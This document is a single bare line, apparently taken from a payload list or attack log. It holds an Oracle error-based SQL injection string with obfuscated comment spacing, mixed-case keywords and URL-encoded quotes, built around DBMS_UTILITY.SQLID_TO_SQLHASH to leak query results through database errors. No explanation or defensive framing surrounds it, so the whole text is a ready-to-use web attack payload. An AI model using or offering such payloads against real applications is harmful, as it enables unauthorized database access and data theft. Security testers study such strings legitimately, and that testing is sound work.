1) AND AND/**/4427=DBms_UTIlIty.SqLid_To_sqlhASH(chr(126)||%27~%27||(sElECt/**/(cAse/**/WheN/**/(4427=4427)/**/THEN/**/1/**/ELsE/**/0/**/ENd)/**/fROM/**/DuAL)||%27~%27||CHR(126))-- -